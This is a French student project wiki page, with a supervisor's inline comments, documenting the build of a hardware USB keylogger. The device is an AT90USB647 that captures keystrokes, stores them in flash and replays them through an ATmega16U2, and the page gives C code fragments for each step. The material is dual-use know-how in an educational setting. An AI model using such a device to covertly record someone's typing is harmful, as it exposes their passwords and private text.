ReX : Tu utilises à la fois le connecteur USB A femelle et le connecteur micro USB du coté de l'AT90USB ? Si c'est le cas ça va faire des étincelles : tu connectes un périphérique USB à DEUX contrôleurs USB, ça ne peut pas bien se passer ...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;s&amp;gt;J'ai essayé de mettre en place une interface afin de voir les caractères tapés et transmis par la liaison série. On retrouve donc un Arduino et un écran LCD qui est censé montrer la touche tapé. Mais lorsque j'ai essayé de lié l'Arduino avec l'AT90USB, je n'arrivais pas à recevoir les touches tapés sur mon clavier (je pense que dans le programme du microcontrôleur, il ne comprend pas quelle touche est tapé) et me retrouver sans caractère. J'ai donc essayé en envoyant en boucle une lettre précise comme ci-dessous :&amp;lt;/s&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Afin de pouvoir observer les touches tapés sur le clavier, j'ai mis en place un Arduino et un écran LCD. Il y'aurait donc une liaison entre l'Arduino et l'AT90 via UART afin de récupérer l'information sur la touche tapée.&lt;br /&gt;
&lt;br /&gt;
J'ai donc essayé de récupérer les touches tapées via la liaison série, mais je ne récupère rien du tout. J'ai donc essayé d'envoyer en boucle un caractère (code ci-dessous) et on le retrouve bien sur l'écran LCD.&lt;br /&gt;
&lt;br /&gt;
D'où mon questionnement sur le fait de savoir si dans le programme, on récupère bien le caractère tapé sur le clavier ou non.&lt;br /&gt;
&lt;br /&gt;
ReX : Corrige les fautes d'orthographe dans ce paragraphe, je n'arrive même pas à comprendre ce que tu veux dire.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
// Et ça m'affiche le caractère A sur l'écran LED&lt;br /&gt;
putchar('A');&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:Arduino-LCD &amp;amp; At90.jpg|centré|vignette|Montage Arduino/LCD &amp;amp; KeyLogger]]&lt;br /&gt;
On retrouve le fil bleu qui est le RX de l'arduino et le TX de l'AT90, pour le fil rouge l'inverse, et le fil gris est la masse.&lt;br /&gt;
&lt;br /&gt;
ReX : La carte keylogger n'est pas présente sur la photo, tu as bien pensé à connecter les masses ? et à inverser les RX/TX ?&lt;br /&gt;
&lt;br /&gt;
Pour la suite, il faudrait que je réfléchisse sur la manière de faire pour que l'Arduino capte les données de la liaison série alimentée en 3.3V.&lt;br /&gt;
&lt;br /&gt;
ReX : Ca ne va pas être simple. Le mieux est de tester avec les LED externes puis faire un test complet avec connexion série entre l'AT90USB et l'ATMega16u2. Les LED de l'ATMega16u2 sont bien configurées et si tu veux afficher les touches par port série tu peux passer l'ATMega16u2 en passerelle USB série en chargeant la bonne démonstration LUFA.&lt;br /&gt;
&lt;br /&gt;
'''''NB :''''' pour alimenter l'AT90USB en 3.3V, il faut changer la position du cavalier de la jonction J10 (les deux pins côté Port USB)&lt;br /&gt;
&lt;br /&gt;
J'ai corrigé le problème des leds, je les ai ressoudés dans le bon sens.&lt;br /&gt;
&lt;br /&gt;
Cependant, dans le processus, j'en ai perdu une que j'ai donc remplacé avec une led d'un arduino qui ne fonctionne plus.&lt;br /&gt;
[[Fichier:AT90 leds fix.jpg|vignette|Carte avec les nouvelles leds soudé dans le bon sens]]&lt;br /&gt;
&lt;br /&gt;
ReX : Excellent, ce n'est pas rare de détruire une LED en la désoudant, c'est fragile, bravo pour la rectification.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 5&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
==== Mémoire ====&lt;br /&gt;
J'ai travaillé sur l'accès mémoire de l'AT45DB641E en commençant par comprendre le fichier de test envoyé et [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip trouvé]. On peut voir la démonstration du programme avec la [[:Fichier:TestMem CMD.mp4|vidéo suivante]]&amp;lt;ref&amp;gt;Vidéo test mémoire par commande&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Le programme chargé sur le Wiki (MémoireB2) ne correspond pas à la démonstration. Mais très jolie vidéo de démonstration du test de l'ID.&lt;br /&gt;
&lt;br /&gt;
Benjamin : Effectivement, je voulais juste référencer l'archive où l'on pouvait trouver la librairie pour la flash.&lt;br /&gt;
&lt;br /&gt;
Ensuite, pour pouvoir me faire la main avec la librairie récemment acquise, j'ai écris un programme qui écrit dans la mémoire des données que je récupère ensuite. On peut voir la démonstration dans la [[:Fichier:TestMem WR.mp4|vidéo suivante]]&amp;lt;ref&amp;gt;Test mémoire en écriture et lecture&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On retrouve le code des deux programmes via ce [[:Fichier:TestMem CMD WR.zip|lien]].&lt;br /&gt;
&lt;br /&gt;
J'ai ajouté dans le code une fonction ''blink_ending'' pour distinguer les fins de fonction.&lt;br /&gt;
&lt;br /&gt;
ReX : Très jolie vidéo de démonstration (et code de la précédente démonstration trouvé dans le code lié à la seconde).&lt;br /&gt;
&lt;br /&gt;
==== Gestion clavier USB ====&lt;br /&gt;
Aujourd'hui, j'ai travaillé sur la démonstration KeyboardHost sur l'AT90USB647. On peut voir la démonstration en [[:Fichier:KeyboardHost Demo Video.mp4|vidéo]]&amp;lt;ref&amp;gt;Vidéo démo du programme KeyboardHost sur l'AT90&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Très bonne vidéo de démonstration. Le programme correspondant est donné un peu après.&lt;br /&gt;
&lt;br /&gt;
On peut aussi observer dans la vidéo que l'on alimente l'AT90USB647 avec l'Atmega16U2.&lt;br /&gt;
&lt;br /&gt;
Lors du téléversement du programme, je ne comprenais pas pourquoi les leds ne s'allumaient pas, jusqu'à ce que je me souvienne d'une conversation avec ReX par mail parlant de correctement configurer l'horloge du microcontrôleur&amp;lt;ref name=&amp;quot;:0&amp;quot; group=&amp;quot;Code associé&amp;quot;&amp;gt;Configuration de l'horloge&amp;lt;/ref&amp;gt;. On peut retrouver le programme de démonstration avec la configuration des leds ainsi que de l'horloge [[:Fichier:KeyboardHost.zip|ici]].&lt;br /&gt;
&lt;br /&gt;
ReX : Marche pas bien la balise ref ... (tentative de correction par ajout d'une balise references en fin de page).&lt;br /&gt;
&lt;br /&gt;
En voulant continuer sur ma lancée en liant les deux microcontrôleurs, je n'arrivais pas encore à récupérer les touches tapées via la liaison série. Cependant, en me rappelant l'Arduino LCD réalisé précédemment, j'ai enregistré une démonstration du KeyboardHost avec l'Arduino LCD qui affiche les caractères tapés. On peut voir la vidéo via [[:Fichier:KeyboardHost LCD.mp4|ce lien]]&amp;lt;ref&amp;gt;Vidéo AT90 et Arduino/LCD qui récupère les caractères&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Excellente vidéo de démonstration, le code est donné avant pour une fois.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Keylogger Keyboard To PC.jpg|vignette|Keylogger avec l'alimentation et UART connectés]]&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui j'ai essayé de lier l'AT90 et l'ATMega via la liaison série, résultat dans la [[:Fichier:Keyboard PC.mp4|vidéo suivante]]&amp;lt;ref&amp;gt;Vidéo démo Clavier -&amp;gt; AT90 (USART) -&amp;gt; ATMEGA -&amp;gt; PC&amp;lt;/ref&amp;gt;. Pour obtenir ce résultat, j'ai téléversé les démos KeyboardHost sur l'AT90 et Keyboard sur l'Atmega. Je les ai légèrement modifiés pour pouvoir inclure la communication série dans la démo Keyboard, et j'ai modifié la logique d'envoi de caractère pour envoyer directement le code HID obtenu via le clavier sur l'AT90 et non le caractère ASCII (présenté dans la démo de base).&lt;br /&gt;
&lt;br /&gt;
On peut retrouver ci-joint les deux programmes [[:Fichier:Keyboard to PC.zip|Keyboard et KeyboardHost]] qui sont exécutés respectivement sur l'ATMega et l'AT90.&lt;br /&gt;
&lt;br /&gt;
ReX : Excellente vidéo de démonstration. Le code est donné pas trop loin de la vidéo. Pour que les touches modificatrices puissent être utilisées, il suffirait d'envoyer deux octets par liaison série : les modificateurs et la première touche (il serait même possible d'envoyer l'ensemble des touches, il faudrait seulement prendre soin d'envoyer un octet de préambule style 0xff pour synchroniser les blocs de données série).&lt;br /&gt;
&lt;br /&gt;
Remarque: Je me rend compte que pendant les semaines précédentes, je partais dans toutes les directions en modifiant tout du programme de démo alors qu'il suffisait simplement de modifier quelques lignes de code concernant la configuration du microcontrôleur et de bien fouiller dans les travaux déjà effectué par d'anciens élèves. Comme quoi la librairie LUFA est vraiment complète et fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
ReX : Très bonne autocritique, vous avez su prendre du recul sur l'EC.&lt;br /&gt;
&lt;br /&gt;
==== Keylogger ====&lt;br /&gt;
J'attaque désormais l'implémentation de la mémoire sur l'AT90 et un moyen de récupérer ces données. Je pensais utiliser les boutons en dessous de l'ATMega pour pouvoir commander l'AT90 par liaison série et l'ordonner d'envoyer tous les caractères lu.&lt;br /&gt;
&lt;br /&gt;
ReX : Le bouton peut être utilisé pour démasquer des EP USB permettant de récupérer les données mais je dirais que si les EP sont toujours présentes cela suffira largement.&lt;br /&gt;
&lt;br /&gt;
Pour la mise en mémoire des touches tapés, j'ai essayé de faire comme ci-dessous :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
	CLKPR = (1&amp;lt;&amp;lt;CLKPCE);&lt;br /&gt;
	CLKPR = 0;&lt;br /&gt;
	MCUCR |= (1&amp;lt;&amp;lt;JTD);&lt;br /&gt;
	MCUCR |= (1&amp;lt;&amp;lt;JTD);&lt;br /&gt;
&lt;br /&gt;
	SetupHardware();&lt;br /&gt;
&lt;br /&gt;
	puts_P(PSTR(ESC_FG_CYAN &amp;quot;Keyboard HID Host Demo running.\r\n&amp;quot; ESC_FG_WHITE));&lt;br /&gt;
&lt;br /&gt;
	LEDs_SetAllLEDs(LEDMASK_USB_NOTREADY);&lt;br /&gt;
	GlobalInterruptEnable();&lt;br /&gt;
&lt;br /&gt;
	/* Variable for the AT45DB641E */&lt;br /&gt;
	int page_start  		 = 0;&lt;br /&gt;
	int page_actual 		 = page_start;&lt;br /&gt;
	int page_buffer_size = 0;&lt;br /&gt;
&lt;br /&gt;
	for (;;)&lt;br /&gt;
	{&lt;br /&gt;
		KeyboardHost_Task(&amp;amp;page_actual, &amp;amp;page_buffer_size);&lt;br /&gt;
        Flash_Task(&amp;amp;page_start, &amp;amp;page_actual, &amp;amp;page_buffer_size);&lt;br /&gt;
		USB_USBTask();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// ...&lt;br /&gt;
&lt;br /&gt;
void KeyboardHost_Task(int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
    // ...&lt;br /&gt;
    /* Checking if the previous buffer was full to change pages or not */&lt;br /&gt;
	if (*page_buffer_size == FLASH_PAGE_SIZE) {&lt;br /&gt;
		 *page_buffer_size = 0;&lt;br /&gt;
		(*page_actual)++;&lt;br /&gt;
	}&lt;br /&gt;
    &lt;br /&gt;
    /* AT45DB641E communication  */&lt;br /&gt;
    /* Recup of the data of the actual page to re-write on */&lt;br /&gt;
    unsigned char data[FLASH_PAGE_SIZE];&lt;br /&gt;
    AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
    &lt;br /&gt;
    /* Writing the Modifier and Keycode in the array */&lt;br /&gt;
    data[(*page_buffer_size)++] = KeyCode;&lt;br /&gt;
    &lt;br /&gt;
    /* Writing in the AT45DB641E buffer before writing in the flash */&lt;br /&gt;
    AT45DB641E_write_buffer(&amp;amp;SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
    &lt;br /&gt;
    /* Writing the buffer into the flash at page_actual address */&lt;br /&gt;
    AT45DB641E_write_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual);&lt;br /&gt;
    &lt;br /&gt;
    /* Waiting the flash finishing writing at page_actual address */&lt;br /&gt;
    while(AT45DB641E_busy(&amp;amp;SPI_PORT, SPI_SS)) {&lt;br /&gt;
    	LEDs_TurnOnLEDs(LEDS_LED1);&lt;br /&gt;
    }&lt;br /&gt;
    LEDs_TurnOffLEDs(LEDS_LED1);&lt;br /&gt;
    &lt;br /&gt;
    /* Serial communication */&lt;br /&gt;
	Serial_SendByte(KeyCode);&lt;br /&gt;
	&lt;br /&gt;
	// ...&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Ce n'est pas optimal mais dans l'idée ça doit marcher. Pour de l'optimal, il faudrait écrire les touches dans un tampon de faible taille (mettons 64 octets) et écrire le tampon une fois plein (ou au bout d'un certain temps d'inactivité). Il y aurait moins d'accès mémoire (la flash ça se fatigue).&lt;br /&gt;
&lt;br /&gt;
Dans ma logique, j'utilise trois variables : &amp;lt;code&amp;gt;page_start&amp;lt;/code&amp;gt; qui est la page où l'on commence l'écriture, &amp;lt;code&amp;gt;page_actual&amp;lt;/code&amp;gt; qui indique la page courante et &amp;lt;code&amp;gt;page_buffer_size&amp;lt;/code&amp;gt; qui indique la taille courante du buffer de données, afin de trouver l'index de la touche à mémoriser dans le buffer, et ensuite dans la flash.&lt;br /&gt;
&lt;br /&gt;
ReX : La variable &amp;lt;code&amp;gt;page_start&amp;lt;/code&amp;gt; me semble inutile.&lt;br /&gt;
&lt;br /&gt;
L'algorithme est simple, on vérifie tout d'abord si la taille du buffer précédent est égal à la taille d'une page de la flash. Si oui, on réinitialise le compte sur la taille et on incrémente la page courante. Ensuite on récupère les données de la page courante afin de réécrire par dessus. On met les données dans le buffer qu'on écrit ensuite dans la flash à la page &amp;lt;code&amp;gt;page_actual&amp;lt;/code&amp;gt;. Puis on attend que l'écriture est effectuée pour passer à la tâche suivante qui est l'envoi de la touche tapée. (Edit: Dans le programme final, on envoie d'abord les touches puis on enregistre, mais je ne pense pas que ça change beaucoup au niveau de la performance).&lt;br /&gt;
&lt;br /&gt;
Du côté de l'ATMega c'est simple, il n'y a que la réception qui s'effectue et l'écriture dans le rapport.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)&lt;br /&gt;
{&lt;br /&gt;
	/* Clear the report contents */&lt;br /&gt;
	memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));&lt;br /&gt;
&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[0] = Serial_ReceiveByte();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Comme je l'avais signalé dans la vidéo précédente, les données à propos des modifieurs (Shift, Control, etc) ne sont pas reçus. J'ai donc essayé d'inclure l'octet Modifier du rapport clavier, mais sans succès. J'ai essayé de trouver des solutions afin de synchroniser par exemple l'envoi et la réception, l'utilisation de la fonction &amp;lt;code&amp;gt;Serial_SendData&amp;lt;/code&amp;gt; pour envoyer les deux octets (Modifieur et Code_Touche) en une fois, mais puisque la liaison USART est asynchrone, je crois bien que le problème est là. Je vais donc essayer de faire des fonctions de réception de paquet lorsque l'ATMega détecte la réception d'un octet.&lt;br /&gt;
&lt;br /&gt;
ReX : Nombreuses correction de coquilles dans tout le Wiki (voir l'historique). &lt;br /&gt;
&lt;br /&gt;
ReX : Le problème pour l'envoi de l'octet &amp;lt;code&amp;gt;modifier&amp;lt;/code&amp;gt; est peut être du au fait que la fonction d'envoi des octets par série n'est pas bloquante (voir commentaire plus loin).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;s&amp;gt;De plus, j'ai essayé d'utiliser les boutons de l'Atmega pour envoyer des octets de données à l'AT90 via liaison série, mais j'ai l'impression que celui-ci ne les reçois pas, ou du moins il ne récupère pas les bons octets (ca m'affiche toujours 0xFF).&amp;lt;/s&amp;gt; Edit: J'avais juste oublié d'appeler la fonction dans la boucle du main.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ci-dessous, on retrouve la fonction executée sur l'AT90 pour gérer la commande de la flash de la part de l'ATMEGA16U2 vers l'AT90USB647. &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void Flash_Task(int *page_start, int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		uint8_t Command_Byte = Serial_ReceiveByte();&lt;br /&gt;
		uint8_t Ending_Byte;&lt;br /&gt;
		do {&lt;br /&gt;
			Ending_Byte = Serial_ReceiveByte();&lt;br /&gt;
		} while((Ending_Byte != 0xFF) || (Ending_Byte == Command_Byte));&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_RESET)&lt;br /&gt;
		{&lt;br /&gt;
			*page_actual 			= *page_start;&lt;br /&gt;
			*page_buffer_size = 0;&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_GET)&lt;br /&gt;
		{&lt;br /&gt;
			uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
&lt;br /&gt;
			int address, j;&lt;br /&gt;
			for (address = (*page_start); address &amp;lt;= (*page_actual); address++)&lt;br /&gt;
			{&lt;br /&gt;
				AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, address, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
				for (j = 0; j &amp;lt; ((address == (*page_actual)) ? (*page_buffer_size) : FLASH_PAGE_SIZE); j += 2)&lt;br /&gt;
				{&lt;br /&gt;
					/* Communicating data by serial connection */&lt;br /&gt;
					while (!Serial_IsSendReady());&lt;br /&gt;
					Serial_SendByte(data[j]);&lt;br /&gt;
					Serial_SendByte(data[j+1]);&lt;br /&gt;
					while (!Serial_IsSendComplete());&lt;br /&gt;
					_delay_ms(50);&lt;br /&gt;
				}&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''&amp;lt;u&amp;gt;Explications :&amp;lt;/u&amp;gt;''' &lt;br /&gt;
&lt;br /&gt;
* Tout d'abord, on vérifie si il y'a un message sur la liaison série de l'ATMega vers l'AT90.&lt;br /&gt;
* Si oui, on lit l'octet de commande et on attends que la voie série soit vide.&lt;br /&gt;
* Ensuite on effectue une tâche selon le code:&lt;br /&gt;
** '''''SERIAL_FLASH_RESET''''' qui est 0x22 dans le programme final (valeur prise sans raison particulière) remet à zéro la mémoire de la flash afin d'enregistrer une nouvelle saisie.&lt;br /&gt;
** '''''SERIAL_FLASH_GET''''' qui est 0x23 dans le programme final (juste que j'aime bien le nombre 23) permet de récupérer les touches tapées et de les envoyer.&lt;br /&gt;
*** On parcourt toutes les pages qui ont pu être enregistrées.&lt;br /&gt;
*** On récupère les touches tapées sur la page.&lt;br /&gt;
*** On parcourt le tableau de deux en deux : On envoie la donnée à l'indice pair qui est le code de touche, et on envoie la donnée à l'indice impaire qui est le code modifieur (Shift, Control, etc...).&lt;br /&gt;
*** On laisse un court instant de délai afin de laisser le temps à l'ATMEGA de bien recevoir les octets de la touche enregistrée. (J'ai essayé avec des délais plus court, mais ça ne nous redonne pas correctement la liste enregistrée, des lettres sont passés si le délai est trop court)&lt;br /&gt;
&lt;br /&gt;
A la ligne 25 on peut observer un ternaire pour la condition de boucle. On regarde si l'adresse de page est égale à &amp;lt;code&amp;gt;page_actual&amp;lt;/code&amp;gt; qui est en fait la dernière page enregistrée. Si oui, alors il faut interrompre l'indice j avant qu'elle ne dépasse la taille des données enregistrées sur la dernière page, sinon l'indice j parcourt &amp;lt;codeFLASH_PAGE_SIZE fois le tableau de donnée récupéré.&lt;br /&gt;
&lt;br /&gt;
ReX : Le délai me paraît non nécessaire par contre les deux &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt; sans attente entre les deux me paraît joueur. Sauf si &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt; est bloquant mais je parierais pas.&lt;br /&gt;
&lt;br /&gt;
Concernant la fonction de gestion de la flash du côté de l'ATMega :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void Flash_Task(void)&lt;br /&gt;
{&lt;br /&gt;
	uint8_t ButtonStatus_LCL = Buttons_GetStatus();&lt;br /&gt;
&lt;br /&gt;
	/* Reset flash button */&lt;br /&gt;
	if (ButtonStatus_LCL &amp;amp; BUTTONS_BUTTON1){&lt;br /&gt;
		_delay_ms(200);&lt;br /&gt;
		Serial_SendByte(SERIAL_FLASH_RESET);&lt;br /&gt;
		// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);&lt;br /&gt;
		while(!Serial_IsSendComplete());&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	/* Get all the flash */&lt;br /&gt;
	if (ButtonStatus_LCL &amp;amp; BUTTONS_BUTTON2){&lt;br /&gt;
		_delay_ms(200);&lt;br /&gt;
		Serial_SendByte(SERIAL_FLASH_GET);&lt;br /&gt;
		// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);&lt;br /&gt;
		while(!Serial_IsSendComplete());&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On lit quel bouton est appuyé pour ensuite envoyer une commande via la liaison série. On peut observer un délai just avant l'envoie de la commande qui est nécessaire pour être sûr de l'envoyer qu'une seule fois. Sans ce délai, les commandes seraient envoyées plusieurs fois (c'est du vécu), car en effet, les fonctions s'éxecutent rapidement et le temps entre l'appui du bouton et son relâchement, il y'a sûrement quelques centaine de millième de seconde (je ne sais pas exactement le temps ecoulé entre chaque appui et relâchement de bouton) qui se sont écoulés, ce qui laisse le temps à la fonction &amp;lt;code&amp;gt;Flash_Task&amp;lt;/code&amp;gt; d'être executée plus d'une fois.&lt;br /&gt;
&lt;br /&gt;
ReX : Haaaa et les touches mémorisées sont envoyées comme si elles avaient été tapées au clavier. Malin, je n'avais pas pensé à cette astuce, c'est bien plus simple que d'implanter des EP supplémentaires pour récupérer les touches mémorisées. Très bien.&lt;br /&gt;
&lt;br /&gt;
Enfin, les fonctions d'écriture du rapport de clavier sont un peu changées pour inclure le code du modifieur. Pour l'ATMega, on peut observer l'ajout d'une boucle pour attendre sur la liaison série un octet différent de 0xFF ou du code touche lu précédement :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)&lt;br /&gt;
{&lt;br /&gt;
	/* Clear the report contents */&lt;br /&gt;
	memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));&lt;br /&gt;
&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		uint8_t ReceivedByte;&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[0] = Serial_ReceiveByte();&lt;br /&gt;
		do {&lt;br /&gt;
			ReceivedByte = Serial_ReceiveByte();&lt;br /&gt;
		} while((ReceivedByte == 0xFF) || (ReceivedByte == ReportData-&amp;gt;KeyCode[0]));&lt;br /&gt;
&lt;br /&gt;
		ReportData-&amp;gt;Modifier = ReceivedByte;&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Moui, ça peut marchouiller mais je préférerais une attente sur une valeur d'octet qui ne peut être ni un code de touche ni une valeur de modificateur (0xFF par exemple ne semble pas être un code de touche et il faudrait que toutes les touches modificatrices soient enfoncées en même temps pour que 0xFF soit une valeur de modificateur). Après avoir reçu cet octet, il suffit de lire la valeur du modificateur et les 6 octets des touches.&lt;br /&gt;
 &lt;br /&gt;
Et pour l'AT90 on observe l'ajout d'un appel de la fonction d'envoi d'octet :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void KeyboardHost_Task(int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
	//..&lt;br /&gt;
&lt;br /&gt;
		uint8_t KeyCode  = KeyboardReport.KeyCode[0];&lt;br /&gt;
		uint8_t Modifier = KeyboardReport.Modifier;&lt;br /&gt;
&lt;br /&gt;
		/* Check if a key has been pressed */&lt;br /&gt;
		if (KeyCode)&lt;br /&gt;
		{&lt;br /&gt;
			/* Toggle status LED to indicate keypress */&lt;br /&gt;
			LEDs_TurnOnLEDs(LEDS_LED2);&lt;br /&gt;
&lt;br /&gt;
			/* Serial communication */&lt;br /&gt;
			Serial_SendByte(KeyCode);&lt;br /&gt;
			Serial_SendByte(Modifier);&lt;br /&gt;
&lt;br /&gt;
			/* Checking if the previous buffer was full to change pages or not */&lt;br /&gt;
			if (*page_buffer_size == FLASH_PAGE_SIZE) {&lt;br /&gt;
				 *page_buffer_size = 0;&lt;br /&gt;
				(*page_actual)++;&lt;br /&gt;
			}&lt;br /&gt;
&lt;br /&gt;
			/* AT45DB641E communication */&lt;br /&gt;
			/* Recup of the data of the actual page to re-write on */&lt;br /&gt;
			uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
			AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
			/* Writing the Modifier and Keycode in the array */&lt;br /&gt;
			data[(*page_buffer_size)++] = KeyCode;&lt;br /&gt;
			data[(*page_buffer_size)++] = Modifier;&lt;br /&gt;
&lt;br /&gt;
			/* Writing in the AT45DB641E buffer before writing in the flash */&lt;br /&gt;
			AT45DB641E_write_buffer(&amp;amp;SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
			/* Writing the buffer into the flash at page_actual address */&lt;br /&gt;
			AT45DB641E_write_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual);&lt;br /&gt;
&lt;br /&gt;
			/* Waiting the flash finishing writing at page_actual address */&lt;br /&gt;
			while(AT45DB641E_busy(&amp;amp;SPI_PORT, SPI_SS)) {&lt;br /&gt;
				LEDs_TurnOnLEDs(LEDS_LED1);&lt;br /&gt;
			}&lt;br /&gt;
			LEDs_TurnOffLEDs(LEDS_LED1);&lt;br /&gt;
&lt;br /&gt;
			LEDs_TurnOffLEDs(LEDS_LED2);&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	// ...&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Même remarque sur les deux &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt; consécutifs et sur la méthode pour envoyer modificateur et codes de touches.&lt;br /&gt;
&lt;br /&gt;
En effet, comme je l'avais dit lors de la présentation du précédent code, je n'arrivais pas encore à obtenir le code modifieur et donc récupérer deux octets. J'ai donc essayé de comprendre comment fonctionne la communication USART entre les deux microcontrôleurs. Et après quelques essais de code, j'ai observé qu'à chaque envoi d'octet via la liaison série et de la fonction &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt;, on reçoit d'abord un octet à 0xFF et ensuite l'octet de notre donnée, ce qui explique pourquoi on vérifie l'octet 0xFF dans les boucles while pour la lecture des octets transmis par la liaison série.&lt;br /&gt;
&lt;br /&gt;
ReX : Je ne crois pas à l'histoire du 0xFF, par contre je crois au recouvrement des deux envois. Tu testes avec un &amp;lt;code&amp;gt;while(!Serial_IsSendComplete());&amp;lt;/code&amp;gt; entre les deux &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt; ?&lt;br /&gt;
&lt;br /&gt;
On peut retrouver les codes d'expérimentation pour comprendre le fonctionnement de la communication série avec le lien [[:Fichier:Keylogger Serial Testing.zip|ci-joint]].&lt;br /&gt;
&lt;br /&gt;
On peut voir beaucoup de ligne commentées, mais parmi elles, on peut observer les différents tests que j'ai pu effectuer pour comprendre la communication USART.&lt;br /&gt;
&lt;br /&gt;
On peut visionner la vidéo de démonstration du Keylogger via [[:Fichier:Keylogger demo video.mp4|ce lien]]&amp;lt;ref&amp;gt;Vidéo démo du Keylogger&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Dans la démo, on peut voir que des touches en trop sont tapées quand j'écris avec le clavier, même si je fais exprès d'écrire rapidement.&lt;br /&gt;
&lt;br /&gt;
ReX : Toujours une très bonne vidéo de démonstration.&lt;br /&gt;
&lt;br /&gt;
Par ailleurs, concernant l'initialisation des microcontrôleurs afin d'utiliser les deux programmes, c'est assez étrange mais il faut reset en premier l'AT90USB647 et dès que celui-ci est paré à fonctionner, il faut reset l'ATMEGA16U2. Sinon j'ai l'impression que d'anciens programmes se lance à la place des nouveaux ?&lt;br /&gt;
&lt;br /&gt;
